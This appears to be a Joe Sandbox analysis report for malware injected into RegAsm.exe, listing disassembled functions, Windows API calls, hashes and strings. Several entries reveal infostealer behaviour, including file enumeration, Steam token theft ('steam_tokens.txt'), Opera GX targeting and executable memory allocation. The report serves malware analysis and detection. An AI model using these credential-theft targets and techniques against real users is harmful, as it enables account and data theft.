Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$AttributesFileFolderPathlstrlen
String ID: Opera GX
API String ID: 1719890681-3280151751
Opcode ID: 427f249c4c4678dafc1693628a145abf491ee22919a70e5ab789c2905fdf4d33
Instruction ID: 2f838092edd703084741f82f1e37e62fc4a331bb811b3281c0e98dae42c078f1
Opcode Fuzzy Hash: 427f249c4c4678dafc1693628a145abf491ee22919a70e5ab789c2905fdf4d33
Instruction Fuzzy Hash: 3FB1FD7294011DABCF10FFA6DE425CD7775AF04308F51013AF904771A1DBB8AE8A8B99

Function 00407B0B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000002,00000002,?,?,?,?,00407C56,?), ref: 00407B8A

Strings

, xrefs: 00407B5D

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-3916222277
Opcode ID: 12037c8daa12d7fcab0069a5037541411d8429e4b00213a69a2087787070dd30
Instruction ID: 7cbd0eafb3405f1822ca0081af98c781be9845726f70e814ec0c9ffce599534c
Opcode Fuzzy Hash: 12037c8daa12d7fcab0069a5037541411d8429e4b00213a69a2087787070dd30
Instruction Fuzzy Hash: 14119D71908509ABDB20DF94C684BAAB3F4FB00348F144466D641E32C0D33CBE85D75B

Function 00416330 Relevance: 3.1, APIs: 2, Instructions: 101stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,00000000,?), ref: 00416378
lstrcatA.KERNEL32(?), ref: 00416396

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416018
Part of subcall function 00415FD1: FindFirstFileA.KERNEL32(?,?), ref: 0041602F
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416091
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160C2
Part of subcall function 00415FD1: PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?), ref: 00416125
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 0041614A
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 00416170

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160D9
Part of subcall function 00415FD1: FindNextFileA.KERNEL32(?,?), ref: 004162FF
Part of subcall function 00415FD1: FindClose.KERNEL32(?), ref: 00416313

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$wsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID:
API String ID: 153043497-0
Opcode ID: 40245c710f12fa3abaeeea5a620aa160cdce50a450f9b8a8cb644ca27f9ecf0b
Instruction ID: 8b86d470323cba8e8d9fb07341382b27601452c1d6ee34835b9636a410b96c6e
Opcode Fuzzy Hash: 40245c710f12fa3abaeeea5a620aa160cdce50a450f9b8a8cb644ca27f9ecf0b
Instruction Fuzzy Hash: 5B31E67280010DAFDF15EB60DC43EE8377AEB08314F1440AEF606932A1EA769B919F55

Function 00417101 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 45stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

lstrlenA.KERNEL32(?), ref: 00417148

Part of subcall function 00416FE1: CreateThread.KERNEL32(00000000,00000000,00416F10,?,00000000,00000000), ref: 00417080
Part of subcall function 00416FE1: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00417088

Strings

Soft\Steam\steam_tokens.txt, xrefs: 00417158

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$CreateObjectSingleThreadWaitlstrcat
String ID: Soft\Steam\steam_tokens.txt
API String ID: 502913869-3507145866
Opcode ID: 8fa53f5e99fa73b579df2c1d708c4887328353601fdb9c6c5d0bd8b5a299647e
Instruction ID: 80484de5d81fac5735ad8fccb55b53a41610cad84b3e0f2f88df820a69dfcc50
Opcode Fuzzy Hash: 8fa53f5e99fa73b579df2c1d708c4887328353601fdb9c6c5d0bd8b5a299647e
Instruction Fuzzy Hash: 9A012531E4010967CF00FBE6DD478CD7B74AF04358F514176FA0077152DB79AA8A86D5

Function 004077F8 Relevance: 2.6, APIs: 2, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040,00000000,?,?,?,00407C18,?,?), ref: 0040784A
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00407874

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c062e49b8eac24d7b45a027ae12e9eff25198202155d78bc8260cd663ae55519
Instruction ID: 58502b0b00c881bab5b754626ee9ce4ad9b10c36d9ff74d45ae59ae86afa5875
Opcode Fuzzy Hash: c062e49b8eac24d7b45a027ae12e9eff25198202155d78bc8260cd663ae55519
Instruction Fuzzy Hash: C311B472A44705ABC724CFB8C989B9BB7F4EB40714F24483EE54AE7390E274B940C715

Function 0041CD02 Relevance: 2.5, APIs: 2, Instructions: 39COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041CD13

Part of subcall function 0041BCB6: lstrlenA.KERNEL32(?,0041CD24,0041CDC6,00000000,06400000,00000003,00000000,004176C9,.exe,00436C5C,00436C58,00436C54,00436C50,00436C4C,00436C48,00436C44), ref: 0041BCE8
Part of subcall function 0041BCB6: malloc.MSVCRT ref: 0041BCF0
Part of subcall function 0041BCB6: lstrcpyA.KERNEL32(00000000,?), ref: 0041BCFB

malloc.MSVCRT ref: 0041CD50

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: malloc$lstrcpylstrlen
String ID:
API String ID: 2974738957-0
Opcode ID: 4595bf6652bd861db47711c07eba1f475a4793355c0293ea92a90e9bc1e457ce
Instruction ID: 465e3de8e98db6d08ae849f7adb27b96f5506e18be780ac3d5a762568d42760d
Opcode Fuzzy Hash: 4595bf6652bd861db47711c07eba1f475a4793355c0293ea92a90e9bc1e457ce
Instruction Fuzzy Hash: 45F024726442156BD720AF6AFC8298BBF94EB44BA0F050137FE089B341DA34CC4083F9

Function 004185F8 Relevance: 1.6, APIs: 1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2be7adef273076413db1f82989fa32e877b982bb640996dfe2006c67a3d1df4
Instruction ID: 5fcf984cd7fe605291b0de8237dc76cab2bfba5574b06f9febeddb3a0b35f763
Opcode Fuzzy Hash: a2be7adef273076413db1f82989fa32e877b982bb640996dfe2006c67a3d1df4
Instruction Fuzzy Hash: 23515E71901600ABCA617BAE854EEF6B2D5AFB0318F14049FF414AA3728F6D8DD05E9D

Function 00407BD2 Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4aee46d942c90ee67f27d5e8fe5d8177bbf388d1cde3035c6f676b54f388a22
Instruction ID: 6bc4e95e4b4d41cd45bcf0090cf4f159da268bf51a5422b08fd3501f4d4963e9
Opcode Fuzzy Hash: f4aee46d942c90ee67f27d5e8fe5d8177bbf388d1cde3035c6f676b54f388a22
Instruction Fuzzy Hash: 01319E71D0C2149FDF16DF55D8808AEBBB1EF84354B20816BE411B7391D738AE41DB9A

Function 00411DBC Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 7e787e686dc414dee11f1da43bd5638d66c196ee038a40a879fc4d45a927ec00
Instruction ID: bf21393ab5a8fe934e7e47c1d037db09aa10e41c3ad2262e9a6d785215cd78c0
Opcode Fuzzy Hash: 7e787e686dc414dee11f1da43bd5638d66c196ee038a40a879fc4d45a927ec00
Instruction Fuzzy Hash: 9CF03AB1E1016DABDB15DF78DC909EEB7FCEB48204F0045BAB909D3281EA749F458B94

Function 00411D92 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c785e1c56cc5dd1355e14f627ee0373bbc421026e3e3e1ef34d967437d0958bc
Instruction ID: 4d5d301e7642eb8bcabe02fa2709f808051272e3482dadb5ff4d38445e53d8c5
Opcode Fuzzy Hash: c785e1c56cc5dd1355e14f627ee0373bbc421026e3e3e1ef34d967437d0958bc
Instruction Fuzzy Hash: 56D05E31A00138578B5097A9FC044DEBB49CB817B5B005263FA6D9A2F0C265AD9242D8

Function 00412541 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SHFileOperationA.SHELL32(?), ref: 00412577

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FileOperation
String ID:
API String ID: 3080627654-0
Opcode ID: 11d7e75e8fb048daadeff50fbe913edc7fb5e8de74ef351f238d313e6dfef050
Instruction ID: ef242af97a818274634bdf18eaf41cd9f3ea813bb85b2b5ad444d7661f99d088
Opcode Fuzzy Hash: 11d7e75e8fb048daadeff50fbe913edc7fb5e8de74ef351f238d313e6dfef050
Instruction Fuzzy Hash: CAE09AB0D0420E9FDF44EFE4D5152DDBAF8BF08308F40916AC115F3240E37442058BA9

Function 0041C477 Relevance: 1.3, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041C488

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: fcb9899b317cc9ef91af5512159e616e2c3899848f5e788aef8f16214d9e351b
Instruction ID: c2638ddd63b5396af693f06652562c02e93d4509c9b8d8ca2e3964453f61446c
Opcode Fuzzy Hash: fcb9899b317cc9ef91af5512159e616e2c3899848f5e788aef8f16214d9e351b
Instruction Fuzzy Hash: 13210574200B10CFC320DF6ED485996B7F5FF4932471448AEEA8A8B722D776E881CB16

Function 00407EAE Relevance: 1.3, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00407EB5

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: cd808f50b226156c54d12c7445b6016a60ba6ba0c8715662d5550310cd1c8d18
Instruction ID: a2ed24522b90cf8d72a71430dfd18e5bb138dd64580460ce79602bb5834a96d0
Opcode Fuzzy Hash: cd808f50b226156c54d12c7445b6016a60ba6ba0c8715662d5550310cd1c8d18
Instruction Fuzzy Hash: EAE0EDB1A10108BFEB40DBA9D845A9EBBF8EF44254F1440BAE905E3281E670EE009B55

Non-executed Functions

Function 6C525440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C525492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5254A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5254BE
__Init_thread_footer.LIBCMT ref: 6C5254DB

Part of subcall function 6C54AB3F: EnterCriticalSection.KERNEL32(6C59E370,?,?,6C513527,6C59F6CC,?,?,?,?,?,?,?,?,6C513284), ref: 6C54AB49
Part of subcall function 6C54AB3F: LeaveCriticalSection.KERNEL32(6C59E370,?,6C513527,6C59F6CC,?,?,?,?,?,?,?,?,6C513284,?,?,6C5356F6), ref: 6C54AB7C

Part of subcall function 6C54CBE8: GetCurrentProcess.KERNEL32(?,6C5131A7), ref: 6C54CBF1
Part of subcall function 6C54CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5131A7), ref: 6C54CBFA

GetCurrentThreadId.KERNEL32 ref: 6C5254F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C525516
GetCurrentThreadId.KERNEL32 ref: 6C52556A
AcquireSRWLockExclusive.KERNEL32(6C59F4B8), ref: 6C525577
moz_xmalloc.MOZGLUE(00000070), ref: 6C525585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C525590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C5255E6
ReleaseSRWLockExclusive.KERNEL32(6C59F4B8), ref: 6C525606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C525616

Part of subcall function 6C54AB89: EnterCriticalSection.KERNEL32(6C59E370,?,?,?,6C5134DE,6C59F6CC,?,?,?,?,?,?,?,6C513284), ref: 6C54AB94
Part of subcall function 6C54AB89: LeaveCriticalSection.KERNEL32(6C59E370,?,6C5134DE,6C59F6CC,?,?,?,?,?,?,?,6C513284,?,?,6C5356F6), ref: 6C54ABD1

GetCurrentThreadId.KERNEL32 ref: 6C52563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C525646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C52567C
free.MOZGLUE(?), ref: 6C5256AE

Part of subcall function 6C535E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C535EDB
Part of subcall function 6C535E90: memset.VCRUNTIME140(ewWl,000000E5,?), ref: 6C535F27
Part of subcall function 6C535E90: LeaveCriticalSection.KERNEL32(?), ref: 6C535FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C5256E8
GetCurrentThreadId.KERNEL32 ref: 6C525707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C52570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C525729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C52574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C52576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C525796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C5257B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C5257CA

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C525724
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C52584E
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C525CF9
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5254A3
MOZ_PROFILER_STARTUP, xrefs: 6C5255E1
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C525BBE
